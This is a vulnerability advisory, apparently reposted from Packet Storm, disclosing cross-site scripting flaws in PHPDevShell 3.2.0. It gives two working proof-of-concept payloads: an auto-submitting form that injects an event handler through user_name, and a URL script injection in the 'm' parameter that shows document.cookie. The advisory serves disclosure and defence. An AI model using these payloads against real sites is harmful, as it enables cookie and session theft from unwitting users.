PHPDevShell 3.2.0 Cross Site Scripting

2015-12-23T00:00:00
ID PACKETSTORM:135049
Type packetstorm
Reporter hyp3rlinx
Modified 2015-12-23T00:00:00

Description

                                        
                                            `[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/PHPDEVSHELL-XSS.txt  
  
  
  
Vendor  
===================  
www.phpdevshell.org  
  
  
  
Product:  
==================  
PHPDevShell V3.2.0  
  
  
PHPDevShell is a RAD Framework aimed at developing administrative  
applications.  
  
  
  
Vulnerability Type:  
==========================  
Cross Site Scripting - XSS  
  
  
CVE Reference:  
===============  
N/A  
  
  
  
Vulnerability Details:  
======================  
  
Multiple XSS entry points exist allowing arbitrary client side JS code  
execution on victims who click an infected linx  
or visit an attackers webpage. Session ID and data theft may follow as well  
as possibility to bypass CSRF protections etc...  
  
  
Exploit code(s):  
================  
  
XSS 0x1  
  
<form id="HELL" action="  
http://localhost/phpdev/phpdev/index.php?m=3682403894" method="post">  
<input type="hidden" name="user_name" value='" onMouseMove="alert(666)"'>  
<input type="hidden" name="user_password" value="666">  
<input type="hidden" name="login" value="login">  
<script>document.getElementById('HELL').submit()</script>  
</form>  
  
  
XSS 0x2  
  
http://localhost/phpdev/index.php?m=%27%22%3Cscript%3Ealert%28%27XSS%20hyp3rlinx%20\n%27%2bdocument.cookie%29%3B%3C%2Fscript%3E&order=asc  
  
  
  
Disclosure Timeline:  
====================  
  
Vendor Notifications: NR  
December 22, 2015: Public Disclosure  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
===============  
High  
  
  
  
Description:  
=======================================================  
Request Method(s): [+] GET / POST  
  
  
Vulnerable Product: [+] PHPDevShell V3.2.0  
  
  
Vulnerable Parameter(s): [+] user_name, m  
  
========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`